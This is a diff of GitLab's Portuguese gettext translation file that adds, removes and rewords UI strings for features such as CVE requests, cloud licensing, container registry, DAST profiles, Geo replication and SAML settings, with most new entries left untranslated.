+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de Retorno"
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr "Cancelando pré-visualização"
@@ -5528,6 +5700,9 @@ msgstr "Mudar modelo"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "Altere esse valor para influenciar com que frequência a interface do usuário do GitLab pesquisa atualizações."
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "Alterar Título"
@@ -5555,6 +5730,9 @@ msgstr "Cherry-pick"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Reverter"
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "Isso criará um novo commit para reverter as mudanças existentes."
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr "Fechar %{tabname}"
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "Fechar épico"
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "Fecha este %{quick_action_target}."
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr "Tenha certeza de que sua conta %{link_to_requirements} para criar cluste
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr "Commit…"
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr "Imagens do container registry"
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr "Copiar URL de clone do %{http_label}"
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr "Copiar URL de Clone do %{protocol}"
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr "Não foi possível remover o gatilho."
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr "Cobertura"
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr "Criar"
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr "Criar novo arquivo"
msgid "Create new file or directory"
msgstr "Criar novo arquivo ou diretório"
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr "Criar nova etiqueta"
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr "Feito"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr "Criando epic"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr "A criação de gráficos usa os dados do servidor Prometheus. Se isso levar muito tempo, verifique se os dados estão disponíveis."
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "Revogar"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr "Revogar %{name}"
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "Nome de Usuário"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr "Descrição:"
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr "Desmarcar todos"
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr "Detalhes (padrão)"
msgid "Detect host keys"
msgstr "Detectar chaves de host"
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr "Descartar promoção de Merge Request"
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr "Editar aplicativo"
msgid "Edit comment"
msgstr "Editar comentário"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr "Alterar arquivos no editor e fazer commit das alterações aqui"
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "Editar grupo: %{group_name}"
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr "Ativar Auto DevOps"
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "Ativar coleção de dados Pseudonymizer"
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr "Habilitar acesso ao Grafana"
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr "Ativa o acesso à barra de desempenho para um determinado grupo."
@@ -11276,6 +11604,9 @@ msgstr "Ativar e configurar métricas do Prometheus."
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr "Ativar controle de classificação usando um serviço externo"
@@ -11387,6 +11718,9 @@ msgstr "Habilitado"
msgid "Enabled Git access protocols"
msgstr "Protocolos de acesso do Git habilitados"
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr "As fontes para importação de código durante a criação de projetos foram ativadas. O OmniAuth deve ser configurado para o GitHub."
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr "Ativo"
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
-msgstr "Depois de adicionar o seu Token de Autenticação, use o botão \"conectar\" para carregar os projetos"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
+msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr "Token de autenticação"
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
-msgstr "Clique em \"Conectar\" para restabelecer a conexão com o Sentry e ativar o menu suspenso."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
+msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
-msgstr "A conexão falhou. Re-verifique o Token de Autenticação e tente novamente."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
+msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr "Não há projetos disponíveis"
msgid "ErrorTracking|Select project"
msgstr "Selecionar projeto"
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr "Expandir barra lateral"
@@ -12356,6 +12687,9 @@ msgstr "Explorar grupos públicos"
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr "Exportar issues"
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr "Exportar projeto"
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr "URL externo"
-msgid "External Wiki"
-msgstr "Wiki externo"
-
msgid "External authentication"
msgstr "Autenticação externa"
@@ -12425,14 +12750,17 @@ msgstr "Etiqueta de classificação"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "Quando nenhum etiqueta de classificação está definida, a etiqueta padrão `%{default_label}` será usada."
-msgid "ExternalWikiService|External Wiki"
-msgstr "Wiki externo"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
+msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr "Substitui o link para o wiki interno por um link para um wiki externo."
-msgid "ExternalWikiService|The URL of the external Wiki"
-msgstr "O URL do Wiki externo"
+msgid "ExternalWikiService|The URL of the external wiki"
+msgstr ""
msgid "Facebook"
msgstr "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr "Falha ao instalar."
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr "Falha ao remover issue do painel, por favor, tente novamente."
-
msgid "Failed to remove mirror."
msgstr "Falha ao remover a espelho."
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr "Falha ao atualizar Issues. Por favor, tente novamente."
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr "Filtrar por %{issuable_type} que estão atualmente fechados."
-msgid "Filter by %{issuable_type} that are currently opened."
-msgstr "Filtrar por %{issuable_type} que estão atualmente abertos."
+msgid "Filter by %{issuable_type} that are currently open."
+msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr "E-mail do FogBugz"
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr "Para mais informações, leia a documentação."
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr "Para mais informações, vá para o "
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr "Para mais informações, por favor, revise a %{link_start_tag}documentação de configuração do Jaeger%{link_end_tag}"
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr "Fork criado a partir de"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr "Fork em andamento"
@@ -13585,6 +13925,9 @@ msgstr "%{name} está agendado para re-sincronização"
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr "Não foi possível remover o registro de rastreamento de um projeto exis
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr "Não foi possível remover a entrada de rastreamento para um envio existente."
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "Falha"
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr "Em sincronia"
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr "Última verificação de repositório executada"
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Ainda não sincronizado"
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr "Sincronização pendente"
@@ -13714,6 +14078,9 @@ msgstr "Projetos em certos grupos"
msgid "Geo|Projects in certain storage shards"
msgstr "Projetos em certos pedaços de armazenamento"
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "Baixar novamente"
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr "Ressincronizar"
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "Status"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "Sincronizado"
@@ -13765,6 +14159,9 @@ msgstr "Falha na sincronização - %{error}"
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr "Estado desconhecido"
msgid "Geo|Verification failed - %{error}"
msgstr "Falha na verificação - %{error}"
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr "Aguardando o agendador"
@@ -13843,6 +14243,9 @@ msgstr "Introdução às versões"
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr "Git LFS não está habilitado neste servidor GitLab, contate seu administrador."
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr "O GitLab executará um trabalho em segundo plano que produzirá CSVs com pseudônimos do banco de dados do GitLab que serão carregados no diretório de armazenamento de objetos configurado."
@@ -14095,6 +14504,24 @@ msgstr "URL do host do Gitea"
msgid "Gitea Import"
msgstr "Importação do Gitea"
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr "GitLab Pages"
@@ -14137,9 +14564,6 @@ msgstr "Voltar"
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr "Tela cheia"
@@ -14269,16 +14693,13 @@ msgstr "URL do Grafana"
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr "Conceder acesso"
@@ -14347,6 +14771,12 @@ msgstr "URL do grupo"
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "Avatar do grupo"
@@ -14428,9 +14858,6 @@ msgstr "Os minutos do pipeline do grupo foram redefinidos com sucesso."
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr "Impressão digital do certificado"
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
